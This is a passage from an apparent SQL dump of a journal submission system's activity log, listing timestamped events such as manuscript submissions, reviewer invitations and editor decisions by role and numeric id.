Editor',6755,'Publisher',673),(56624,'2020-11-26 12:51:21','Manuscript Submitted by Author using Submission form',6764,'Author',8021),(56625,'2020-11-26 14:21:56','Manuscript Submitted by Author using Submission form',6765,'Author',8022),(56663,'2020-11-27 05:30:45','Reviewer has submitted comments',6408,'Reviewer',12763),(56666,'2020-11-27 05:35:33','Publisher : Notified Editor',6408,'Publisher',85),(56667,'2020-11-27 05:36:36','Editor has Accepted to review Manuscript',6408,'Editor',1251),(56668,'2020-11-27 05:36:37','Editor has Accepted to review Manuscript',6408,'Editor',1251),(56669,'2020-11-27 05:37:16','Editor has been Editor Decision Accepted article',6408,'Editor',1251),(56674,'2020-11-27 06:12:12','Publisher has been Assigned Editor',6761,'Publisher',48),(56675,'2020-11-27 06:41:10','Publisher has Invited Reviewer',6761,'Publisher',48),(56676,'2020-11-27 08:07:33','Author sent Email',4109,'Author',5297),(56677,'2020-11-27 08:38:08','Publisher has Invited Reviewer',6642,'Publisher',274),(56678,'2020-11-27 08:38:09','Publisher has Invited Reviewer',6642,'Publisher',274),(56679,'2020-11-27 08:38:09','Publisher has Invited Reviewer',6642,'Publisher',274),(56680,'2020-11-27 08:38:10','Publisher has Invited Reviewer',6642,'Publisher',274),(56681,'2020-11-27 08:38:34','Publisher has Invited Reviewer',6643,'Publisher',274),(56682,'2020-11-27 08:38:35','Publisher has Invited Reviewer',6643,'Publisher',274),(56683,'2020-11-27 08:38:36','Publisher has Invited Reviewer',6643,'Publisher',274),(56684,'2020-11-27 08:38:36','Publisher has Invited Reviewer',6643,'Publisher',274),(56685,'2020-11-27 08:57:39','Publisher has been Assigned Editor',6765,'Publisher',673),(56688,'2020-11-27 09:43:57','Publisher has Invited Reviewer',6765,'Publisher',673),(56689,'2020-11-27 09:43:58','Publisher has Invited Reviewer',6765,'Publisher',673),(56690,'2020-11-27 09:43:58','Publisher has Invited Reviewer',6765,'Publisher',673),(56691,'2020-11-27 09:43:59','Publisher has Invited Reviewer',6765,'Publisher',673),(56692,'2020-11-27 09:59:26','Publisher has Invited Reviewer',6732,'Publisher',673),(56693,'2020-11-27 09:59:26','Publisher has Invited Reviewer',6732,'Publisher',673),(56694,'2020-11-27 09:59:27','Publisher has Invited Reviewer',6732,'Publisher',673),(56695,'2020-11-27 09:59:27','Publisher has Invited Reviewer',6732,'Publisher',673),(56696,'2020-11-27 10:07:55','Publisher has Invited Reviewer',6695,'Publisher',673),(56697,'2020-11-27 10:07:55','Publisher has Invited Reviewer',6695,'Publisher',673),(56698,'2020-11-27 10:07:56','Publisher has Invited Reviewer',6695,'Publisher',673),(56699,'2020-11-27 10:08:41','Publisher has Invited Reviewer',6695,'Publisher',673),(56706,'2020-11-27 10:29:48','Reviewer has submitted comments',6695,'Reviewer',14805),(56707,'2020-11-27 10:54:50','Author sent Email',4092,'Author',5297),(56709,'2020-11-27 11:42:31','Publisher has been Assigned Editor',6752,'Publisher',376),(56710,'2020-11-27 11:56:08','Publisher has been Assigned Editor',6764,'Publisher',85),(56711,'2020-11-27 11:56:45','Publisher has Invited Reviewer',6764,'Publisher',85),(56712,'2020-11-27 11:56:47','Publisher has Invited Reviewer',6764,'Publisher',85),(56713,'2020-11-27 11:56:48','Publisher has Invited Reviewer',6764,'Publisher',85),(56714,'2020-11-27 11:56:49','Publisher has Invited Reviewer',6764,'Publisher',85),(56715,'2020-11-27 11:56:51','Publisher has Invited Reviewer',6764,'Publisher',85),(56716,'2020-11-27 11:56:52','Publisher has Invited Reviewer',6764,'Publisher',85),(56717,'2020-11-27 11:56:53','Publisher has Invited Reviewer',6764,'Publisher',85),(56720,'2020-11-27 14:41:27','Manuscript Submitted by Author using Submission form',6769,'Author',8028),(56721,'2020-11-27 19:36:31','Manuscript Submitted by Author using Submission form',6770,'Author',8030),(56737,'2020-11-28 03:51:49','Publisher has Invited Reviewer',6677,'Publisher',319),(56738,'2020-11-28 04:00:08','Publisher has Invited Reviewer',6677,'Publisher',319),(56762,'2020-11-28 04:44:31','Editor has Accepted to review Manuscript',6759,'Editor',194),(56763,'2020-11-28 04:44:40','Editor has been Editor Decision Accepted article',6759,'Editor',194),(56764,'2020-11-28 04:45:17','Publisher: Accept Notification has been sent to Author',6759,'Publisher',48),(56810,'2020-11-28 10:13:02','Publisher has been Assigned Editor',6770,'Publisher',319),(56811,'2020-11-28 10:19:24','Editor has Accepted to review Manuscript',6770,'Editor',1067),(56812,'2020-11-28 10:39:38','Publisher has Invited Reviewer',6765,'Publisher',673),(56813,'2020-11-28 10:39:39','Publisher has Invited Reviewer',6765,'Publisher',673),(56814,'2020-11-28 10:39:39','Publisher has Invited Reviewer',6765,'Publisher',673),(56815,'2020-11-28 10:39:40','Publisher has Invited Reviewer',6765,'Publisher',673),(56816,'2020-11-28 10:41:03','Publisher has Invited Reviewer',6732,'Publisher',673),(56817,'2020-11-28 10:41:03','Publisher has Invited Reviewer',6732,'Publisher',673),(56818,'2020-11-28 10:41:03','Publisher has Invited Reviewer',6732,'Publisher',673),(56819,'2020-11-28 10:41:04','Publisher has Invited Reviewer',6732,'Publisher',673),(56821,'2020-11-28 15:27:25','Publisher has been Assigned Editor',6769,'Publisher',85),(56822,'2020-11-28 15:27:54','Publisher has Invited Reviewer',6769,'Publisher',85),(56823,'2020-11-28 15:27:55','Publisher has Invited Reviewer',6769,'Publisher',85),(56824,'2020-11-28 15:27:56','Publisher has Invited Reviewer',6769,'Publisher',85),(56825,'2020-11-28 15:27:57','Publisher has Invited Reviewer',6769,'Publisher',85),(56826,'2020-11-28 15:27:58','Publisher has Invited Reviewer',6769,'Publisher',85),(56827,'2020-11-28 15:27:58','Publisher has Invited Reviewer',6769,'Publisher',85),(56828,'2020-11-28 15:27:59','Publisher has Invited Reviewer',6769,'Publisher',85),(56829,'2020-11-28 19:28:27','Manuscript Submitted by Author using Submission form',6775,'Author',8035),(56834,'2020-11-30 01:46:26','Author sent Email',6502,'Author',7770),(56845,'2020-11-30 05:09:24','Reviewer has submitted comments',6191,'Reviewer',10008),(56846,'2020-11-30 05:09:55','Publisher : Notified Editor',6191,'Publisher',248),(56848,'2020-11-30 05:13:37','Reviewer has submitted comments',6069,'Reviewer',9054),(56849,'2020-11-30 05:15:04','Editor has Accepted to review Manuscript',6069,'Editor',358),(56850,'2020-11-30 05:15:19','Editor has been Editor Decision Accepted article',6069,'Editor',358),(56852,'2020-11-30 05:15:49','Publisher: Accept Notification has been sent to Author',6069,'Publisher',248),(56853,'2020-11-30 05:25:25','Publisher has been Accepted Articles  article',6069,'Publisher',248),(56854,'2020-11-30 05:39:33','Reviewer has submitted comments',6677,'Reviewer',12875),(56855,'2020-11-30 06:02:02','Publisher has Invited Reviewer',6770,'Publisher',319),(56857,'2020-11-30 06:14:09','Reviewer has submitted comments',6351,'Reviewer',9108),(56858,'2020-11-30 06:14:46','Publisher : Notified Editor',6351,'Publisher',248),(56859,'2020-11-30 06:15:45','Editor has Accepted to review Manuscript',6351,'Editor',358),(56860,'2020-11-30 06:16:01','Editor has been Editor Decision Accepted article',6351,'Editor',358),(56861,'2020-11-30 07:08:21','Reviewer has submitted comments',6770,'Reviewer',12875),(56862,'2020-11-30 07:32:12','Publisher has been Accepted Articles  article',6445,'Publisher',319),(56866,'2020-11-30 09:27:31','Publisher has been Withdrawn  article',6683,'Publisher',972),(56867,'2020-11-30 10:07:49','Publisher has Invited Reviewer',6765,'Publisher',673),(56868,'2020-11-30 10:07:49','Publisher has Invited Reviewer',6765,'Publisher',673),(56869,'2020-11-30 10:07:50','Publisher has Invited Reviewer',6765,'Publisher',673),(56870,'2020-11-30 10:07:50','Publisher has Invited Reviewer',6765,'Publisher',673),(56871,'2020-11-30 10:17:03','Publisher has Invited Reviewer',6732,'Publisher',673),(56872,'2020-11-30 10:17:05','Publisher has Invited Reviewer',6732,'Publisher',673),(56873,'2020-11-30 10:17:05','Publisher has Invited Reviewer',6732,'Publisher',673),(56877,'2020-11-30 13:31:44','Manuscript Submitted by Author using Submission form',6782,'Author',8042),(56878,'2020-11-30 13:39:49','Publisher has been Assigned Editor',6775,'Publisher',85),(56879,'2020-11-30 13:41:03','Publisher has Invited Reviewer',6775,'Publisher',85),(56880,'2020-11-30 13:41:05','Publisher has Invited Reviewer',6775,'Publisher',85),(56881,'2020-11-30 13:41:06','Publisher has Invited Reviewer',6775,'Publisher',85),(56882,'2020-11-30 13:41:08','Publisher has Invited Reviewer',6775,'Publisher',85),(56883,'2020-11-30 13:41:09','Publisher has Invited Reviewer',6775,'Publisher',85),(56884,'2020-11-30 13:41:10','Publisher has Invited Reviewer',6775,'Publisher',85),(56885,'2020-11-30 13:41:11','Publisher has Invited Reviewer',6775,'Publisher',85),(56886,'2020-11-30 13:41:11','Publisher has Invited Reviewer',6775,'Publisher',85),(56887,'2020-11-30 13:41:12','Publisher has Invited Reviewer',6775,'Publisher',85),(56888,'2020-11-30 13:41:13','Publisher has Invited Reviewer',6775,'Publisher',85),(56889,'2020-11-30 13:41:15','Publisher has Invited Reviewer',6775,'Publisher',85),(56890,'2020-11-30 13:41:16','Publisher has Invited Reviewer',6775,'Publisher',85),(56891,'2020-11-30 13:41:16','Publisher has Invited Reviewer',6775,'Publisher',85),(56895,'2020-11-30 17:51:30','Manuscript Submitted by Author',6784,'Author',8044),(56897,'2020-12-01 02:12:36','Reviewer has submitted comments',6732,'Reviewer',11354),(56904,'2020-12-01 03:51:01','Publisher has Invited Reviewer',6764,'Publisher',85),(56905,'2020-12-01 03:51:02','Publisher has Invited Reviewer',6764,'Publisher',85),(56906,'2020-12-01 03:51:03','Publisher has Invited Reviewer',6764,'Publisher',85),(56907,'2020-12-01 03:51:04','Publisher has Invited Reviewer',6764,'Publisher',85),(56908,'2020-12-01 03:51:05','Publisher has Invited Reviewer',6764,'Publisher',85),(56909,'2020-12-01 03:51:06','Publisher has Invited Reviewer',6764,'Publisher',85),(56951,'2020-12-01 07:32:50','Editor has been Revise (Notify Author) article',6770,'Editor',1067),(56952,'2020-12-01 07:33:19','Editor has been Editor Decision Accepted article',6677,'Editor',1067),(56953,'2020-12-01 07:33:32','Editor has been Editor Decision Accepted article',6630,'Editor',1067),(56954,'2020-12-01 07:49:27','Publisher : Notified Author',6770,'Publisher',319),(56960,'2020-12-01 10:54:13','Publisher has Invited Reviewer',6538,'Publisher',984),(56964,'2020-12-01 12:40:11','Publisher has been Assigned Editor',6784,'Publisher',85),(56965,'2020-12-01 12:40:29','Publisher has been Assigned Editor',6782,'Publisher',85),(56974,'2020-12-01 12:57:45','Publisher has Invited Reviewer',6765,'Publisher',673),(56975,'2020-12-01 12:57:45','Publisher has Invited Reviewer',6765,'Publisher',673),(56976,'2020-12-01 12:57:46','Publisher has Invited Reviewer',6765,'Publisher',673),(56979,'2020-12-01 13:33:17','Publisher : Notified Editor',6695,'Publisher',673),(56980,'2020-12-01 13:33:46','Publisher : Notified Editor',6731,'Publisher',673),(56982,'2020-12-01 15:39:52','Publisher: Accept Notification has been sent to Author',6408,'Publisher',85),(56990,'2020-12-02 03:45:42','Reviewer has submitted comments',6695,'Reviewer',11354),(57052,'2020-12-02 07:38:11','Editor has Accepted to review Manuscript',6695,'Editor',1456),(57053,'2020-12-02 07:38:34','Editor has been Editor Decision Accepted article',6695,'Editor',1456),(57054,'2020-12-02 08:24:10','Reviewer has submitted comments',6732,'Reviewer',11355),(57055,'2020-12-02 08:26:10','Reviewer has updated comments',6732,'Reviewer',11355),(57056,'2020-12-02 08:27:17','Reviewer has updated comments',6732,'Reviewer',11355),(57057,'2020-12-02 08:28:52','Reviewer has updated comments',6732,'Reviewer',11355),(57058,'2020-12-02 08:29:53','Reviewer has updated comments',6732,'Reviewer',11355),(57059,'2020-12-02 08:35:52','Reviewer has updated comments',6732,'Reviewer',11355),(57073,'2020-12-02 08:47:57','Reviewer has submitted comments',6695,'Reviewer',11355),(57095,'2020-12-02 09:32:40','Publisher has Invited Reviewer',6765,'Publisher',673),(57096,'2020-12-02 09:33:17','Publisher has Invited Reviewer',6765,'Publisher',673),(57097,'2020-12-02 09:33:18','Publisher has Invited Reviewer',6765,'Publisher',673),(57098,'2020-12-02 09:33:18','Publisher has Invited Reviewer',6765,'Publisher',673),(57099,'2020-12-02 09:55:49','Publisher has been Withdrawn  article',6755,'Publisher',673),(57108,'2020-12-02 10:29:06','Author sent Email',6549,'Author',4286),(57112,'2020-12-02 11:38:15','Reviewer has submitted comments',6765,'Reviewer',14805),(57151,'2020-12-02 13:15:06','Publisher has Invited Reviewer',6752,'Publisher',376),(57152,'2020-12-02 13:15:10','Publisher has Invited Reviewer',6752,'Publisher',376),(57153,'2020-12-02 13:15:14','Publisher has Invited Reviewer',6752,'Publisher',376),(57154,'2020-12-02 13:15:18','Publisher has Invited Reviewer',6752,'Publisher',376),(57160,'2020-12-02 16:07:44','Manuscript Submitted by Author using Submission form',6797,'Author',8058),(57161,'2020-12-02 16:24:24','Publisher has Invited Reviewer',6784,'Publisher',85),(57162,'2020-12-02 16:24:25','Publisher has Invited Reviewer',6784,'Publisher',85),(57163,'2020-12-02 16:24:26','Publisher has Invited Reviewer',6784,'Publisher',85),(57164,'2020-12-02 16:24:27','Publisher has Invited Reviewer',6784,'Publisher',85),(57165,'2020-12-02 16:24:28','Publisher has Invited Reviewer',6784,'Publisher',85),(57166,'2020-12-02 16:24:29','Publisher has Invited Reviewer',6784,'Publisher',85),(57167,'2020-12-02 16:24:30','Publisher has Invited Reviewer',6784,'Publisher',85),(57168,'2020-12-02 16:24:31','Publisher has Invited Reviewer',6784,'Publisher',85),(57169,'2020-12-02 16:24:31','Publisher has Invited Reviewer',6784,'Publisher',85),(57170,'2020-12-02 16:24:32','Publisher has Invited Reviewer',6784,'Publisher',85),(57171,'2020-12-02 16:24:33','Publisher has Invited Reviewer',6784,'Publisher',85),(57172,'2020-12-02 16:24:34','Publisher has Invited Reviewer',6784,'Publisher',85),(57173,'2020-12-02 16:25:31','Publisher has Invited Reviewer',6782,'Publisher',85),(57174,'2020-12-02 16:25:32','Publisher has Invited Reviewer',6782,'Publisher',85),(57175,'2020-12-02 16:25:33','Publisher has Invited Reviewer',6782,'Publisher',85),(57176,'2020-12-02 16:25:34','Publisher has Invited Reviewer',6782,'Publisher',85),(57177,'2020-12-02 16:25:35','Publisher has Invited Reviewer',6782,'Publisher',85),(57178,'2020-12-02 16:25:36','Publisher has Invited Reviewer',6782,'Publisher',85),(57179,'2020-12-02 16:25:36','Publisher has Invited Reviewer',6782,'Publisher',85),(57180,'2020-12-02 16:25:37','Publisher has Invited Reviewer',6782,'Publisher',85),(57181,'2020-12-02 16:25:38','Publisher has Invited Reviewer',6782,'Publisher',85),(57182,'2020-12-02 16:25:39','Publisher has Invited Reviewer',6782,'Publisher',85),(57183,'2020-12-02 16:25:40','Publisher has Invited Reviewer',6782,'Publisher',85),(57184,'2020-12-02 16:25:40','Publisher has Invited Reviewer',6782,'Publisher',85),(57185,'2020-12-02 16:25:41','Publisher has Invited Reviewer',6782,'Publisher',85),(57186,'2020-12-02 16:25:42','Publisher has Invited Reviewer',6782,'Publisher',85),(57187,'2020-12-02 16:25:43','Publisher has Invited Reviewer',6782,'Publisher',85),(57189,'2020-12-02 16:28:25','Publisher has Invited Reviewer',6689,'Publisher',85),(57190,'2020-12-02 16:29:59','Publisher has Invited Reviewer',6689,'Publisher',85),(57192,'2020-12-02 16:34:27','Publisher has Invited Reviewer',6689,'Publisher',85),(57193,'2020-12-02 16:38:36','Publisher has Invited Reviewer',6689,'Publisher',85),(57194,'2020-12-02 16:39:25','Publisher has Invited Reviewer',6769,'Publisher',85),(57195,'2020-12-02 16:39:26','Publisher has Invited Reviewer',6769,'Publisher',85),(57196,'2020-12-02 16:39:27','Publisher has Invited Reviewer',6769,'Publisher',85),(57197,'2020-12-02 16:39:28','Publisher has Invited Reviewer',6769,'Publisher',85),(57198,'2020-12-02 16:39:29','Publisher has Invited Reviewer',6769,'Publisher',85),(57199,'2020-12-02 16:39:30','Publisher has Invited Reviewer',6769,'Publisher',85),(57200,'2020-12-02 16:39:31','Publisher has Invited Reviewer',6769,'Publisher',85),(57201,'2020-12-02 16:40:05','Publisher has Invited Reviewer',6707,'Publisher',85),(57202,'2020-12-02 16:40:06','Publisher has Invited Reviewer',6707,'Publisher',85),(57203,'2020-12-02 16:40:07','Publisher has Invited Reviewer',6707,'Publisher',85),(57204,'2020-12-02 16:40:08','Publisher has Invited Reviewer',6707,'Publisher',85),(57205,'2020-12-02 16:40:09','Publisher has Invited Reviewer',6707,'Publisher',85),(57207,'2020-12-02 17:58:00','Reviewer has submitted comments',6683,'Reviewer',10393),(57208,'2020-12-03 00:50:38','Manuscript Submitted by Author using Submission form',6800,'Author',8061),(57256,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6191,'Editor',357),(57257,'0000-00-00 00:00:00','Editor has Invited Reviewer',6191,'Editor',357),(57258,'0000-00-00 00:00:00','Editor has Invited Reviewer',6191,'Editor',357),(57259,'0000-00-00 00:00:00','Editor has Invited Reviewer',6191,'Editor',357),(57260,'0000-00-00 00:00:00','Editor has Invited Reviewer',6191,'Editor',357),(57272,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6732,'Publisher',673),(57273,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6732,'Publisher',673),(57275,'0000-00-00 00:00:00','Reviewer has submitted comments',6732,'Reviewer',14805),(57293,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6803,'Author',8064),(57302,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6765,'Publisher',673),(57303,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6765,'Publisher',673),(57304,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6765,'Publisher',673),(57305,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6765,'Publisher',673),(57306,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6765,'Publisher',673),(57308,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6800,'Publisher',85),(57309,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6797,'Publisher',85),(57310,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(57311,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(57312,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(57313,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(57314,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(57315,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(57316,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(57317,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(57318,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(57319,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(57320,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(57321,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(57322,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(57323,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(57324,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(57325,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(57326,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(57327,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(57328,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(57329,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(57330,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(57331,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(57332,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(57333,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(57334,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(57335,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(57336,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(57337,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(57338,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(57339,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(57343,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6086,'Publisher',85),(57344,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6153,'Publisher',85),(57345,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6346,'Publisher',85),(57346,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6349,'Publisher',85),(57347,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6408,'Publisher',85),(57420,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6741,'Publisher',984),(57421,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6741,'Publisher',984),(57422,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6741,'Publisher',984),(57423,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6741,'Publisher',984),(57424,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6741,'Publisher',984),(57425,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6741,'Publisher',984),(57426,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6741,'Publisher',984),(57427,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6741,'Publisher',984),(57428,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6741,'Publisher',984),(57429,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6741,'Publisher',984),(57430,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6631,'Publisher',984),(57450,'0000-00-00 00:00:00','Publisher : Notified Author',6347,'Publisher',85),(57451,'0000-00-00 00:00:00','Publisher : Notified Author',6348,'Publisher',85),(57457,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6765,'Publisher',673),(57458,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6765,'Publisher',673),(57459,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6765,'Publisher',673),(57460,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6765,'Publisher',673),(57461,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6765,'Publisher',673),(57462,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6765,'Publisher',673),(57463,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6765,'Publisher',673),(57464,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6765,'Publisher',673),(57465,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6765,'Publisher',673),(57466,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6765,'Publisher',673),(57471,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6808,'Author',8070),(57477,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6572,'Publisher',85),(57478,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(57479,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6769,'Publisher',85),(57480,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6769,'Publisher',85),(57524,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(57525,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(57526,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(57528,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6797,'Publisher',85),(57529,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6775,'Publisher',85),(57530,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6769,'Publisher',85),(57532,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6764,'Publisher',85),(57533,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6707,'Publisher',85),(57534,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6572,'Publisher',85),(57543,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6731,'Publisher',673),(57545,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6731,'Publisher',673),(57547,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6731,'Publisher',673),(57548,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6731,'Publisher',673),(57549,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6731,'Publisher',673),(57550,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6731,'Publisher',673),(57551,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6731,'Publisher',673),(57552,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6731,'Publisher',673),(57553,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6731,'Publisher',673),(57554,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6731,'Publisher',673),(57600,'0000-00-00 00:00:00','Manuscript Submitted by Author',6817,'Author',7918),(57607,'0000-00-00 00:00:00','Reviewer has submitted comments',6769,'Reviewer',15586),(57609,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6752,'Publisher',376),(57610,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6752,'Publisher',376),(57611,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6752,'Publisher',376),(57612,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6752,'Publisher',376),(57614,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',6824,'Author',8089),(57618,'0000-00-00 00:00:00','Manuscript Submitted by Author',6825,'Author',5891),(57716,'0000-00-00 00:00:00','Publisher : Notified Editor',6769,'Publisher',85),(57728,'0000-00-00 00:00:00','Manuscript Updated',6769,'Publisher',85),(57729,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6769,'Editor',1343),(57730,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6769,'Editor',1343),(57731,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6273,'Publisher',673),(57735,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6808,'Publisher',48),(57737,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6584,'Publisher',319),(57758,'0000-00-00 00:00:00','Reviewer has submitted comments',5808,'Reviewer',10779),(57759,'0000-00-00 00:00:00','Publisher : Notified Editor',5808,'Publisher',645),(57760,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',5808,'Editor',634),(57761,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',5808,'Editor',634),(57777,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6538,'Publisher',984),(57788,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6808,'Publisher',48),(57791,'0000-00-00 00:00:00','Author sent Email',6580,'Author',7837),(57823,'0000-00-00 00:00:00','Manuscript Submitted by Author',6837,'Author',8100),(57829,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6761,'Editor',194),(57830,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6761,'Editor',194),(57831,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6751,'Editor',194),(57832,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6751,'Editor',194),(57837,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6761,'Publisher',48),(57839,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6751,'Publisher',48),(57854,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6837,'Publisher',48),(57862,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6837,'Publisher',48),(57863,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6817,'Publisher',75),(57867,'0000-00-00 00:00:00','Reviewer has submitted comments',5291,'Reviewer',11689),(57868,'0000-00-00 00:00:00','Reviewer has updated comments',5173,'Reviewer',11689),(57884,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6204,'Publisher',319),(57885,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6160,'Publisher',319),(57899,'0000-00-00 00:00:00','Reviewer has submitted comments',6765,'Reviewer',11354),(57901,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6769,'Publisher',85),(57962,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6695,'Publisher',673),(57964,'0000-00-00 00:00:00','Reviewer has submitted comments',6775,'Reviewer',8996),(57965,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6765,'Publisher',673),(57966,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6765,'Publisher',673),(57967,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6765,'Publisher',673),(57968,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6765,'Publisher',673),(57969,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6732,'Publisher',673),(57970,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6732,'Publisher',673),(57973,'0000-00-00 00:00:00','Manuscript Submitted by Author',6848,'Author',8042),(57974,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6775,'Editor',1439),(57975,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6775,'Editor',1439),(57976,'0000-00-00 00:00:00','Reviewer has submitted comments',6764,'Reviewer',10681),(57977,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6843,'Publisher',274),(57978,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6840,'Publisher',274),(57979,'0000-00-00 00:00:00','Publisher has been Assigned Editor',6826,'Publisher',274),(57980,'0000-00-00 00:00:00','Publisher : Notified Editor',6764,'Publisher',85),(57981,'0000-00-00 